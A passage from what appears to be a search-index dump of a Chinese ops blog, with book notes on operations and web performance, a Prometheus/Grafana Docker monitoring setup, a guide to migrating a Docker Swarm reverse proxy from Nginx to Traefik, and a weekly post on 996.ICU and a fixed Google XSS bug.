3.2个太阳质量，那么中子就无法和自身引力抗衡，，最后回变成一个没有体积只有质量的点。\n今天刚好是 人类历史上第一次公布黑洞的照片。\n后 其实吧，不时的仰望星空，蛮浪漫的。\n","date":"2019-04-10T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-10-%E7%90%86%E7%A7%91%E7%94%B7%E7%9A%84%E6%B5%AA%E6%BC%AB%E6%98%9F%E7%A9%BA%E5%AE%87%E5%AE%99%E6%8C%87%E5%8D%97/","tags":["book","浪漫星空"],"title":"理科男的浪漫星空《宇宙指南》"},{"categories":["op之路","读本好书"],"contents":"前 这本书好久之前以及借到手了，可是各种原因，又是迭代阅读法，反反复复好多次才给读完（翻了一遍）\n喜欢就去追寻\n互联网本来是安全的。自从有了研究安全的人之后，互联网就变得不安全了。\n简介 书名：运维前线 作者：云技术社区 ISBN：9787111556978 这本书更像一个案例集，里面写了各种各样的时间案例，以及解决方案。还有各种关于运维职业的思考。\n大胆的往前走吧，一切皆有可能，唯独那些实现不了的，都是我们人的问题，无它。\n利用 Facter 和 Django 快速构建 CMDB CMDB（Configuration Management Database），称为配置管理数据库，惯称为资产管理系统，实现对主机资源的管理。 书中的的构建的系统，使用 Facter 来实现主机的基本信息的获取。结合 Puppet 来实现主机的管理。\n在CMDB中，使用 Python 来进行 Facter 的调用以及对输出的数据的统一处理。其中的示例代码如下（这里用了一个很好的module：commands，可以方便的执行系统命令，获取返回值与内容）：\ndef handle_command_message(command): status, content = commands.getstatusoutput(command) if status == 0: return content else: return 通过对 facter 的执行得到各个主机的信息，之后进行集中处理。 后面的细节是Django的基本工程建立，以及拉去每台主机的信息的功能实现。\n人是整个系统中最薄弱和不可预测的一环。如果使用人工来进行维护，那么数据不准的情况是 100%会出现的。\n集中配置管理工具 puppet 常见的运维工作流程包括：安装系统，优化系统与配置，安装软件，配置软件，添加监控，检查。当服务器规模变大之后，这一切会变得很繁琐了。Puppet 一个跨平台的集中配置管理系统，就是来解决这个问题的。\n在每个agent上面安装软件包 如果是没有pp 的情况下，需要登陆每台主机进行控制和部署，十分的繁琐。有了 puppet 时候，可以很方便的使用一个 pp 文件进行安装。\npackage { [\u0026amp;quot;screen\u0026amp;quot;,\u0026amp;quot;ntp\u0026amp;quot;,\u0026amp;quot;sysstat\u0026amp;quot;]: ensure =\u0026amp;gt; \u0026amp;quot;installed\u0026amp;quot; } 这样就可以很快速的实现全部服务器的统一安装。\n自动同步yum源，（文件） 一样何以使用简单的配置文件：\nfile { \u0026amp;quot;/etc/yum.repo,d\u0026amp;quot;: source =\u0026amp;gt; \u0026amp;quot;puppet://service/files\u0026amp;quot;, group =\u0026amp;gt; root, owner =\u0026amp;gt; root, mode =\u0026amp;gt; 664, recurse =\u0026amp;gt; true, force =\u0026amp;gt; true, purge =\u0026amp;gt; true } 之后服务端会向客户端自动的推送配置文件，之后各个的客户端会更急配置文件自动的更新自己的repo。\n快速同步 www 目录 当有多个web服务器的时候，那么 www 的文件的同步就显得很重要了，（前面自己一直是用了 NFS 会不会导致性能下降），\niptable 这个是 linux 的一大神器了，可是自己用的少，找时间开专题\nsystemd 来进行linux 的服务管理 很多自己编译的东西用各种各样的方式跑着，什么 nohup ，crontab，脚本的，各种各样，所以这里，就刚好加深一下对于服务的理解。\n平时用到的一样，分了 debian和redhat系，在cent里面使用的是 systemctl 在ubuntu里面用的是 service。这两种方式分别就是 sysVinit和 systemd。如果说性能和速度， systemd 就是更快更好了，而且不好出现 服务启动失败导致的jam。sysV 里面如果服务启动失败了就会堵塞启动进程。\n使用 ps 1 命令，就可以很直接的看到我们当前的系统服务是那种方式。 运行级别 在 sysV 里面使用 init 来指定当前的运行级别，特殊的有 init 0 是关机， init 6 是重启。在 /etc/rc.d/rc 里面分各个启动级去有了不同的shell。init 3就是命令行启动 init 5 是图形化启动\n而在 systemd 里面，对这些文件进行封装，变成了target。所以有了 multi-user.target 和 graphical.target。使用 ls -l /lib/systemd/*.target\n自启动添加 chkconfig --add [servicename] 自启动开启 chkconfig [servicename] on systemd 工具 用来分析启动时间 systemd-analyze\nsystemd-analyze blame 列出所有的服务启动时间 systemd-analyze plot \u0026gt; img.svg # 打印出矢量图 journalctl -u -f [servicename] 查看服务的日志。 PHP 运维实践 由于相关业务接触不多，简单了解这些。\nNginx，php-fpm 支持平滑重启，因为设计的是多进程模式，而mysql和Tomcat 不支持平滑重启，因为后者的设计是多线程的。\n性能分析 简单的top查看负载 strace -p \u0026lt;PID\u0026gt; -T 系统调用信息 strace -p \u0026lt;PID\u0026gt; -c 系统调用次数和时间统计 PHP 故障处理与监控 故障处理绝对不能依靠用户反馈，需要更好更快的分析问题以及故障。（更重要的需要理解业务的整体的结构和框架，了解是哪一部分的问题）\n502 bad gateway 可能是PHP执行太久，达到了fpm 的超时，在日志里会有 SIGXXX 的情况。 502 一般处理办法，是否需要延长超时，而且开始分析 php 或者 sql 的慢日志 503 service temply unavailable，可能是 upstream 连接问题，即fpm死掉 503 一般处理办法，对nginx的转发负载进行分析，是否需要横向扩容 504 gateway timeout，nginx存活，但是 fpm无法及时给出响应，一般是 访问量突增导致。 504 一般处理办法，资源进行横向扩容，fpm 监控方法：\n加入 URL 的响应拨测，及时发现问题 PHP-fpm 的进程监控， 错误日志的数量监控 。。。。 通过监控系统上报到监控平台。 故障处理方法\n快速修复代码问题 直接回滚 弹性调度 自动的扩缩容，难点在于： 应用服务的无状态化（比如没有 session，没有业务数据，可以使用分布式存储进行管理） 自动扩缩容对自动化要求程度高 柔性可用 一时无法处理的问题，考虑柔性可用，牺牲不重要的，保证核心功能重要运行。 服务器交付那些事 除了技术，这书里面还有不少软技术。 关于在机房里面，大量服务器上架时候遇到的各种问题，\nNginx Web 服务优化实战 这一部分就和自己息息相关了，看了之后收益不少。\n基本安全优化 比如关闭服务指纹 server_token off ，这样不会回显版本号。通过重新编译可以修改服务名称。\n性能优化 worker 对 worker 的数量进行设置，因为默认的是 1，另外对CPU 的亲和性设置。\nuser nginx; worker_processes 4; worker_cpu_affinity 0001 0010 0100 1000; 高效文件传输 使用 sendfile 比read/write的IO高效许多，tcp_nopush 会把响应压缩为一个文件发布\nsendfile on; tcp_nopush on; GZIP 使用 GZIP 对静态文件进行压缩，节约传输带宽。前面有涉及到（）\nexpires Nginx 服务器可以给静态文件设置 expires，这样可以在客户的浏览器进行静态文件缓存，无须再次请求。\n根据拓展名拒绝程序和文件访问 location ~^ /img/.*\\.(php|php5|sh|pl|py)$ { deny all; } 防止非法恶意解析请求 也就是 没有通过域名进行访问，而是直接使用 IP 进行访问。\n粗暴的方法如下\nserver { listen 80 default_server; server_name _; return 501 } 温和一点的重定向：\nif ($host !~ ^www/.example/.org$) { rewrite ^(.*) http://www.example.org$1 permanent； } 使用 referer进行防盗链配置 具体的配置，之前用过，就不赘述了。\n根据功能拆分后台集群 根据功能拆分后台集群，是的不同的业务功能有不同的主机服务，大大提升安全性能。\nnginx 控制请求速率 在 http 域中定义： limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s 相当于定义了请求的规则，10m的内存，允许一秒一次的请求。 在 server 的域里定义 limit_req zone=one burst=5 定义前面的请求规则，且可以有5个等待请求。\n求职者与面试官 这个可就是最软的东西了。\n职业规划从入职开始 A职位和B职位我到底选哪个。先向业内人士了解每个行业的发展趋势，职业特点，和技能要求，再结合自身的性格和优缺点来进行选择，\n如果你迷惘到自己都不了解，那么别人指出的道路又怎么能一定正确呢？\n规划是需要不断修改的，不是一句 五年成为 CTO 这么简单，松下幸之助的松下250年计划，无法帮松下走出困境，\n面临的观察和考量 大公司做事情比较规范，对新人的影响是积极的。其次考虑创业公司，之于小公司创业公司能学到更多的东西。但是关于创业公司，只建议工作不足两年的新人去考虑。\n在面试过程可以进行反问：\n我们的近两年的发展目标是什么？要到什么程度 我们目前面临的最大需求是什么？ 我的这个岗位的未来三年的发展方向是什么？进一步发展还需要那些要求 候选人为什么失利 搞不清状况，面试的时候把清楚世纪，不是上来问薪水 不要狐假虎威吹嘘自己 技术深度不足，工作了七年的工程师的技能还是停留在 ICM级别（Install Configuration \u0026amp; Management） 动力不足执行力差 可靠性差 如何突破职业瓶颈 某个岗位上长期无法突破，工作本质没有变化，薪酬待遇也是停滞不前，职业竞争力下降。这就是到了自己的职业瓶颈。\n改变目标不如改变方式，改变环境不如改变自己\n时间管理四象限 紧急重要 重要不紧急 紧急不重要 不紧急不重要 平时多工作在 第二象限。\n你是否应该投身创业公司 30%能买断几年的青春？ 创业公司的特点就是设备飞速扩张，团队人员不齐，大量初始化工作需要有经验的实施团队。也就是一旦选择就是 从零开始。但是一般的涨薪可能在 30% 左右，意味着用 30% 的钱买断了 3年的青春。因为较比之前的公司无法得到很好的发展。\n财务自由是赌徒的想法\n成功不可复制，没有充要条件\n愿赌服输需要资本\n经常听人讲，年轻热血赌一把，错了不后悔，大不了愿赌服输。要知道愿赌服输是要资本的，没资本输的人也没资本说这句话。 如果你年轻，又没有家庭负担，那么很好，这就是你输得起的资本。 社会喜欢同情弱者，年轻就是犯错的资本。\n后 难得专注的一下午，软硬皆有的一本书，后面的内容对自己的触动还是蛮大的。\n我觉得，他的人生非常令人羡慕。不是因为取得的成就，而是因为每个人生阶段，他都在干不一样的事情：年轻时是程序员，中年时是科学家，老年时是新能源企业家。美国总统特朗普也是这种情况：年轻时是房地产商，中年时变成电视明星（《学徒》一口气拍了十季），老年时变成了总统。人生就好像一次旅行，不同时期能够从事不同的领域，就好像看到了不同的风景，体验了不一样的人生。\n","date":"2019-04-08T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-08-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6-%E8%BF%90%E7%BB%B4%E5%89%8D%E7%BA%BF/","tags":["book","nginx","ops"],"title":"读本好书 《运维前线》"},{"categories":["读本好书"],"contents":"前 偶然看到此书的推荐，发现自己也是好久没有静下心去读一本书了。所以，图书馆找到。 自己是比较浅的把书翻了一遍，这里记下一些比较有意思或者有启发的点吧\n简介 书名：构建高性能Web站点 作者：郭欣 ISBN：9787121170935 改善性能和扩展规模的具体做法\n这本书深入浅出，从方方面面的解释，如果去优化一个 Web 站点。从前面的 ab 压测开始介绍，到后面的内容缓存，浏览器缓存，数据库优化，以及反向代理等等。 虽然比较少接触到里面的一些内容，但是通过本书，也是很好的了解了，关于服务器的优化的各个方面，以及可以去优化的地方。\n本书的绪论 序列部分，对书的各个章节做了一个引子。抨击了：速度不快就增加带宽的想法。\n数据网络传输 这一章写的比较有意思，因为全是局的各种例子，虽然学了计算机网络，不过，看起来还是收益不小。\n普通调度站 相当于最早的集线器，所有的数据帧，不经分帧的转发到各个端口，很容易出现数据的碰撞 高级调度站 相当于交换机，可以根据路由表的mac把数据包进行精准转发 数据如何发送 这里从内核的角度解释了数据的发送，挺有意思的。\n先把数据写入进程的内存空间里面去。 通过系统调用 send，向内核发起请求，内核进行数据拷贝，从用户空间拷贝到内核空间。而且发送数据以队列形式存在进行缓冲。 内核通知网卡控制器来取走数据，网卡控制器把内核网络数据搬运到网卡的缓冲区中。数据赋值都是按照数据的总线宽度的整数倍进行复制。比如 pci-x 的口是32 位宽度。 网卡缓冲区的数据被转换位线路中的电信号，并且数据被从缓冲区中清除。 loop 至此实现网络的数据发送。 服务器的并发 吞吐率 reqs/s 之每秒完成的请求次数，这里就引出了 ab 来进行的压测。 ab -n 1000 -c 10 -H Host:test.example.org http://atom0:8080/\nCPU 的大多数的时间都是消耗在 IO 的过程中。当fork() 占用了太多的资源，那么 apache 就使用了 prefork 的模型，实现了提前的fork 不过再大量的并发的时候，内存倒是成了问题。 在 top 命令里面的pr，意味着时间片的长短 一般为 PR*10ms ，系统负载 一般理解为 CPU 的负载状态 0~x 。当系统负载小于1的时候，说明进程正常被调度，大于一，表示会有进程不能及时的得到时间片。\n进程分析的时候 strace 适用于进程的调用统计。很好用\nIO模型 PIO 与 DMA PIO 这种传输方式是需要CPU进行控制的，从磁盘读书数据到内存里面是需要通过CPU进行转发的，需要占用大量的CPU时间进行文件的读写。\n后来有了 DMA 的方式，（Direct Memory Access）取代了PIO，直接向DMA下达指令，就可以直接通过系统总线进行数据传输。\n同步阻塞IO IO的阻塞等等，进程停下来，效率低 同步非阻塞 IO 需要轮询检测是否就绪，花费CPU时间 多路IO就绪通知 异步回调IO，select/poll/SIGIO/epoll，水平触发和边缘触发。 SIGIO 是最快的方式，不过属于边缘出发，容易丢失状态 缓存 动态内容缓存 通过 PHP 的插件实现 一些动态结构的缓存\n动态脚本加速 指的是对于 PHP 解释器的 OPcode 来进行缓存。\n浏览器缓存 通过指定缓存的过期时间达到对内容进行缓存的目的，减少对服务器的请求\nWeb 服务器缓存 在webserver的配置里启用cache。\n反向代理缓存 Ningx 里的反向代理，里对静态资源进行缓存。\n分布式缓存 memcached 实现分布式的缓存系统\n数据库优化 解决慢查询问题，又是大学问。当查询数据占表的多数时候线性查找是由于索引的\nWeb负载均衡 通过重定向实现，可以使用 RR 的轮询方式，实现轮询的负载均衡。 基于 DNS 的负载均衡，可以一个域名指向多条 A 记录。 DNS 的故障转移，如果TTL过久就不行，所以需要使用 DDNS 实现迅速的故障转移 通过 反向代理实现 ，这里面应该是最常用的了。 IP负载均衡 这里在四层进行的负载均衡，需要去重点了解一下了，LVS作为IP负载均衡的各种组态。\nLVS-NAT 这里由网关作为内部子网的 NAT，请求和回源都经过网关主机，导致网关的吞吐量可能成为瓶颈。 LVS-DR 主机和网关都处于 WAN 上，通过网关进行ip的负载均衡，通过Wan来进行回源，而无需通过网关，这样很大的提升了吞吐量。可以理解，网关和主机都是在一个wan上的，对外使用同一个 VIP ， 内容同步与分发 SSH，SCP，SFTP，rsync。\n后 草草的翻过这本书，整体感觉不错，虽然接触较少，但是也是有了基本的印象和认真。 OK，就这样，下一本\n","date":"2019-04-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-07-%E6%B5%85%E8%AF%BB-%E6%9E%84%E5%BB%BA%E9%AB%98%E6%80%A7%E8%83%BDweb%E7%AB%99%E7%82%B9/","tags":["book","ops","web"],"title":"浅读 《构建高性能Web站点》"},{"categories":["op之路"],"contents":"前 在之前有用 Cadvisor，influx 来搭建了一套监控系统。实现各个容器的运行情况的监控。不过实际上感觉这个东西的功能真的是十分的鸡肋。除了几个简简单单的性能监控的指标就没有了。\n说白了就是可欣赏型还是有的，可操作性就是没有了。不过这里给放个图 监控的效果，整体看起来还是很炫酷的。（可是真的没啥用）。而且设定的一周的数据生命周期，到后面单单的influxdb的卷也是占了2G的空间。所以这个功能羸弱，加上机能受限，后面就直接 remove 了这个 stack。\n但是一想，监控还是要有的。怎么办呢，后面就是遇上了 Prometheus这样个东西。（后面还想实现服务的自动扩缩容）所以，就打算整个一套的基于 Prometheus 的监控，可视化以及自动扩缩容的系统。 所以先从监控系统的搭建开始熟悉 Prometheus 了。\n推荐阅读：\nIBM Dev 的 Prometheus 入门与实践 如何快速部署 Prometheus？- 每天5分钟玩转 Docker 容器技术(85)\n快速部署 这里的部署环境一样,使用 Docker 来进行快速部署,PaaS 的便利，简直爱死。不需要再一个个的手动下载和配置，直接写好 compose 文件，之后直接部署上去，就已经成功了一半了。后面再针对配置文件进行修改就OK了。(Docker 就是应用的标准化)\n这里直接给出 docker-compose.yml了。前面写多了慢慢的有了感觉了，想要什么就直接写上去吧，整个过程和搭积木一样，再也不会被困于各种的问题啊，环境啊依赖啊之类的东西里面去了。美哉美哉。\ncompose 文件如下，这里初步实现监控功能，所以alert暂时没有加上去。使用 Prometheus，node-exporter，grafana 分别作为数据查询，数据采集，和数据可视化这几大部分，下面就直接贴出配置文件了，没有什么技巧\nversion: \u0026amp;#039;3\u0026amp;#039; services: node-exp: # 网络中使用 9100端口 image: prom/node-exporter restart: always deploy: # 需要全局部署 mode: global grafana: image: grafana/grafana restart: always ports: - 3000:3000 volumes: - grafana:/var/lib/grafana depends_on: - influx deploy: replicas: 1 placement: constraints: - node.role == manager prometheus: image: prom/prometheus ports: - 9090:9090 command: --config.file=\u0026amp;quot;/usr/local/src/file/prometheus.yml\u0026amp;quot; volumes: - config:/usr/local/src/file/ deploy: replicas: 1 placement: constraints: - node.role == manager volumes: config: driver_opts: type: \u0026amp;quot;nfs4\u0026amp;quot; o: \u0026amp;quot;addr=192.168.1.230,nolock,soft,rw\u0026amp;quot; device: \u0026amp;quot;:/srv/nfs/mon_config/\u0026amp;quot; grafana: 在上面的Stack部署完成之后，Prometheus 还需要一个 配置文件,我们需要根据示例文件进行修改，并且挂载到 服务内部。配置内容如下：\n# my global config global: scrape_interval: 15s # Set the scrape interval to every 15 seconds. Default is every 1 minute. evaluation_interval: 15s # Evaluate rules every 15 seconds. The default is every 1 minute. # scrape_timeout is set to the global default (10s). # Alertmanager configuration alerting: alertmanagers: - static_configs: - targets: # - alertmanager:9093 # Load rules once and periodically evaluate them according to the global \u0026#39;evaluation_interval\u0026#39;. rule_files: # - \u0026#34;first_rules.yml\u0026#34; # - \u0026#34;second_rules.yml\u0026#34; # A scrape configuration containing exactly one endpoint to scrape: # Here it\u0026#39;s Prometheus itself. scrape_configs: # The job name is added as a label \u0026lt;code\u0026gt;job=\u0026amp;lt;job_name\u0026amp;gt;\u0026lt;/code\u0026gt; to any timeseries scraped from this config. - job_name: \u0026#39;prometheus\u0026#39; # metrics_path defaults to \u0026#39;/metrics\u0026#39; # scheme defaults to \u0026#39;http\u0026#39;. static_configs: - targets: [\u0026#39;localhost:9090\u0026#39;] - job_name: \u0026#39;linux\u0026#39; static_configs: - targets: [\u0026#39;node-exp:9100\u0026#39;] labels: instance: node 这里还没有启用告警，所以上面的alertmanager 就先留空了。如果上面的配置没有问题的话，检查容器和服务状态，都是 running 且 log 无异常，基本就完成配置了。 示例状态如上图。\n可视化的快速配置 再我们的数据源配置完成之后，就可以使用 Grafana 进行数据可视化了。直接访问 web，默认的account 是 admin/admin 修改之后，根据向导，导入数据源。\n后面就是奇迹的时刻，直接导入视图即可。（grafana 提供了很好的试图分享的功能）我们用别人的好看的，自己就不用再费大力气了。 使用如下视图\nhttps://grafana.com/dashboards/159\n之后直接进行 import，神奇就这样发生了。 下面是可视化界面的截图： 美观，大方，优雅~\n后面的话 再次为 Docker 的平台提供的方便感到惊喜，的确这种应用标准化的思想，解放了太多的生产力。 下面一篇，应该要开始介入 alertmanager 实现自动扩缩容的操作了。\n","date":"2019-04-06T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-06-prometheus-%E9%9B%86%E7%BE%A4%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F%E7%9A%84%E9%83%A8%E7%BD%B2/","tags":["docker","monitor","ops","prometheus"],"title":"Prometheus----集群监控系统的部署"},{"categories":["op之路"],"contents":"前面的话 在这篇POST里面，主要记录，如何把后台的反代工具从 Nginx 切换到 traefik 的过程。实现Docker 的网络中更加优雅反代。\n较之Nginx 的最大的特点，容器（服务）的网络，不必再通过ingress（虚拟入口），来把端口映射到host的网络上，而导致，占有了一大堆一大堆的 奇怪的端口 ：30000，32767... 所以下面就简单的介绍一下Traefik：\nWhy Traefik？ traefik 的特点在官网上有很多的介绍了，这里找几点重要的：\nContinuously updates its configuration (No restarts!) High Availability with cluster mode (beta) Fast 这里列出了三点点特性，其中第一点也就是最重要的一点，这也是之所以选择 Traefik 的原因。\n之于Nginx 不同，在每当服务进行调整的时候，Nginx 需要去修改 配置文件，之后去手动的reload服务。而且如上面所说到，这样的直接把容器的端口，通过 Ingress 给映射到host的网络上面，占用一批批的端口，而且每多一个服务就得自己加一个配置，显得实在是不优雅。所以，Traefik 很完美的解决了这个问题，只需要在服务配置里面定义标签，Traefik 会自动的，去检测配置并且显示自动更新。显得就是十分方便了\n其二，在集群模式可以很方便的实现高可用，像是前面的KeepAlive，在集群模式统统省掉了。直接 docker servicxe scale mytraefik=2 就很容易的实现一个高可用的集群来。\n其三，快。当然对于目前的小业务量，没什么影响了。列出这点因为官方给出了数据：\nTraefik is obviously slower than Nginx, but not so much: Traefik can serve 28392 requests/sec and Nginx 33591 requests/sec which gives a ratio of 85%. Not bad for young project :) !\n较之Nginx更加方便了，所以我选择 Traefik。\n下面上图来解释这两个架构：\n这里是之前传统的使用 Nginx 进行反代的配置，这里面可见，每个服务都需要在host 的主机网络中映射出一个端口，配置显得十分的冗余 在使用了 Traefik 之后的结构如下，所有的转发配置和规则在 Traefik 进行统一的管理和自动配置。 这一有一点的问题是，可能也被观察出来了，这里依然使用了 Nginx 作为前级（因为目前没有使用 Https 的配置，和缓存，所以Nginx提供 缓存和Https）。\n至此为什么使用 traefik 也就解释完了，下面就开始部署和配置阶段了。\n快速部署 这里给出的是一键部署的命令啦，这里的环境是在 Swarm 集群下的，所以这里后面指定了一下参数，用于对其进行配置，需要注意的是，这里需要 配置在 manager 的节点上，因为需要和 Docker 的socket 进行通信。映射出了两个端口，其中一个就是反代的统一入口，另一个是提供了一个健康监控的 UI界面。\ndocker service create \\ --name traefik \\ --constraint=node.role==manager \\ --publish 8090:80 --publish 8099:8080 \\ --mount type=bind,source=/var/run/docker.sock,target=/var/run/docker.sock\\ --network traefik_default \\ traefik \\ --docker \\ --docker.swarmMode \\ --docker.domain=i124u.cf \\ --docker.watch \\ --logLevel=DEBUG \\ --web 上面的命令可以很快速的部署一个 Traefik 的服务。\n这里给出一个 Nginx 的服务配置，值得人注意的是，这里的网络需要接入traefik的子网中午，否则是无法连通的。 之后重点来了，也就是 traefik 的亮点，在于，这里的介入，只需要一个简简单单的label来说明转发规则，就可以被自动的配置为转发对象了。\ndocker service create \\ --replicas 2 \\ --network traefik_default \\ # 这里 --label traefik.port=80 \\ --label traefik.frontend.rule=Host:test.example.org \\ --name hello nginx 在配置完成之后，我们直接访问 Traefik 的dashboard可以直接看到我这里的配置的转发规则已经生效了。完全不需要进行手动的修改配置以及reload。\n进行访问测试，分别测试 123，和example的host。\n➜ ~ curl -H Host:123.org http://127.0.0.1:8080 404 page not found ➜ ~ curl -H Host:test.example.org http://127.0.0.1:8080 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Welcome to nginx!\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Welcome to nginx!\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;If you see this page, the nginx web server is successfully installed and working. Further configuration is required.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;For online documentation and support please refer to \u0026lt;a href=\u0026#34;http://nginx.org/\u0026#34;\u0026gt;nginx.org\u0026lt;/a\u0026gt;.\u0026lt;br/\u0026gt; Commercial support is available at \u0026lt;a href=\u0026#34;http://nginx.com/\u0026#34;\u0026gt;nginx.com\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;em\u0026gt;Thank you for using nginx.\u0026lt;/em\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 由此可见，这时的traefik 已经可以进行正常的转发。一个简单的配置到这里就 OK了\n项目使用 为了便于更新和管理，工程还是需要使用 compose 进行配置的。对于上面的命令这里改成 compose 配置，配置内容如下：\nversion: \u0026#39;3\u0026#39; services: reverse-proxy: image: traefik command: --api --docker --docker.swarmMode --docker.watch --web ports: - \u0026#34;8080:80\u0026#34; # 代理的总端口 - \u0026#34;8081:8080\u0026#34; # 可视化ui的端口映射 volumes: - /var/run/docker.sock:/var/run/docker.sock networks: - traefik_default deploy: placement: constraints: - node.role == manager networks: # 建立一个专用的网络 traefik_default: 建立一个 overlay 的网络是十分有必要的。 参考链接：\n\u0026lt;https://my.oschina.net/guol/blog/1942373\u0026gt;;\n关于在在stack内使用的配置，这里笔者可是折腾了一番。（因为中午的博客环境也知道的，爬虫爬来爬去，搜的的也就是那么几篇）。因为给出的例子都是单个容器或者是服务的使用方法。然而这里遇到了需要使用 Stack 进行部署的方法，网络在这里就有了些问题。\n遇到问题，最好的方法是去看官方的手册\n\u0026lt;https://docs.traefik.io/\u0026gt;; https://docs.traefik.io/configuration/backends/docker/#labels-overriding-default-behavior # 去 override 一个默认的网络\nversion: \u0026#34;3\u0026#34; services: whoami: deploy: labels: traefik.docker.network: traefik https://docs.docker-cn.com/compose/compose-file/#external-1 If set to true, specifies that this network has been created outside of Compose. docker-compose up will not attempt to create it, and will raise an error if it doesn’t exist. external cannot be used in conjunction with other network configuration keys (driver, driver_opts, ipam, internal). In the example below, proxy is the gateway to the outside world. Instead of attempting to create a network called [projectname]_outside, Compose will look for an existing network simply called outside and connect the proxy service’s containers to it.\n所以在这里的网络配置里面需要声明外部网络。并且在标签里面指定 traefik 的默认网络\n这里直接贴出docker-compose.yml 了，当个保存，大家也可以直接拿去用，重点的配置部分也已经标出\nversion: \u0026amp;#039;3\u0026amp;#039; services: db: image: mysql:5.7 volumes: - db_data:/var/lib/mysql restart: always environment: MYSQL_ROOT_PASSWORD: ${MYSQL_DATABASE_PASSWORD} MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress networks: - wp_network wordpress: image: wordpress:latest volumes: - wp_data:/var/www/html restart: always ports: - 80 environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress WORDPRESS_CONFIG_EXTRA: | /* Multisite */ define(\u0026amp;#039;WP_SITEURL\u0026amp;#039;, \u0026amp;#039;http://\u0026amp;#039; . $$_SERVER[\u0026amp;#039;HTTP_HOST\u0026amp;#039;]); define(\u0026amp;#039;WP_HOME\u0026amp;#039;, \u0026amp;#039;http://\u0026amp;#039; . $$_SERVER[\u0026amp;#039;HTTP_HOST\u0026amp;#039;]); define(\u0026amp;#039;WP_REDIS_HOST\u0026amp;#039;, \u0026amp;#039;redis\u0026amp;#039;); define(\u0026amp;#039;WP_REDIS_PORT\u0026amp;#039;, \u0026amp;#039;6379\u0026amp;#039;); define(\u0026amp;#039;WP_REDIS_DATABASE\u0026amp;#039;, \u0026amp;#039;0\u0026amp;#039;); networks: - tfk_traefik_default - wp_network ##########################重点############################# deploy: labels: traefik.frontend.rule: \u0026amp;quot;Host:ray.i124u.cf\u0026amp;quot; traefik.port: \u0026amp;quot;80\u0026amp;quot; traefik.docker.network: tfk_traefik_default redis: image: redis restart: always networks: - wp_network ##########################重点############################# networks: wp_network: tfk_traefik_default: external: true volumes: db_data: driver_opts: type: \u0026amp;quot;nfs4\u0026amp;quot; o: \u0026amp;quot;addr=192.168.1.230,nolock,soft,rw\u0026amp;quot; device: \u0026amp;quot;:/srv/nfs/blog_${BLOG_NAME}/wp_db\u0026amp;quot; wp_data: driver_opts: type: \u0026amp;quot;nfs4\u0026amp;quot; o: \u0026amp;quot;addr=192.168.1.230,nolock,soft,rw\u0026amp;quot; device: \u0026amp;quot;:/srv/nfs/blog_${BLOG_NAME}/wp_wp\u0026amp;quot; 配置完成之后，直接更新服务，去dashboard里面可以直接看书工作状态 至此Traefik 的切换基本完成。\n后 此站点现在就是使用的基于 Traefik 支持的反代服务，整体还是很稳定的，重点是很方便，不需要，一次又一次的修改 Conf 和 reload nginx的服务了。 所以基于 Docker 的微服务，Traefik 有了更好的兼兼容性。值得选择 ","date":"2019-04-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-05-traefik-%E6%9B%B4%E4%BC%98%E9%9B%85%E7%9A%84docker%E5%8F%8D%E4%BB%A3%E6%96%B9%E5%BC%8F/","tags":["docker","ops","proxy","traefik"],"title":"traefik----更优雅的Docker反代方式"},{"categories":["每周分享"],"contents":"前面的话 这周事相当咸鱼的一周，也不不知道做了些什么，就浑浑噩噩的过去唉，可能做的最多的就是这个小破站的迁移和优化吧（就是您现在打开的这个），每天折腾折腾，有了现在的精美的界面和比较优秀的访问速度，还是比较有成就感的事情。 从最开始的自己写的简单的 compose 到后面的加上 Redis ，整个的工程还是蛮综合的。后面一步是把反代给换掉，换成 Traefik。\n事 关于[996.icu]( https://996.icu) ?链接在此： 这种最热门的，也是不得不说的事件就是这个996了，上面的链接内容便是本质，上班九九六以后 ICU。这里给出一个图大家品品咯 狗都困了，所谓一个互联网人，其实对于加班这个事实也是颇有感觉的。朋友老是说：那你早点走啊 事实呢是:你发现身边的同时都在疯狂输出的时候，你怎么（敢）能走呢？？？\n国家实行劳动者每日工作时间不超过八小时、平均每周工作时间不超过四十四小时的工时制度。 \u0026mdash;-知法懂法学法用法\nWebsite DESC 955.WLB is a repo that maintains a whitelist of 955 work–life balanced companies. It promotes people to flee 996 and join 955. 996.LAW is a repo that collects useful information about cases between employees and enterprise. 996.TSC is a repo designed to let more people know and join the activity of 996.ICU. 996.LIST is a repo of a rank list of 996 companies and 955 companies. Google 的门户搜索框被挖到 XSS 这里的XSS 当然是反射型的 XSS。不过，想着这个每天UV上十亿的门户站上存在这样的洞。还是觉得 网络安全 真的还有很远很远的路要走，因为 矛和盾是一起进化的。 当然，这个漏洞已经被fix了，下面是这个 Github上面的修复的commit\nAutomated g4 rollback of changelist 214621663.\n简单的介绍以下何为反射型XSS，别人可以使用自己构造的链接，通过受害者点击，来被执行一些交互操作，简单的有删除，登陆，Cookie等等，负载的可能可以给你的联系人发邮件。\nAI有意思： 偶然在 Twitter 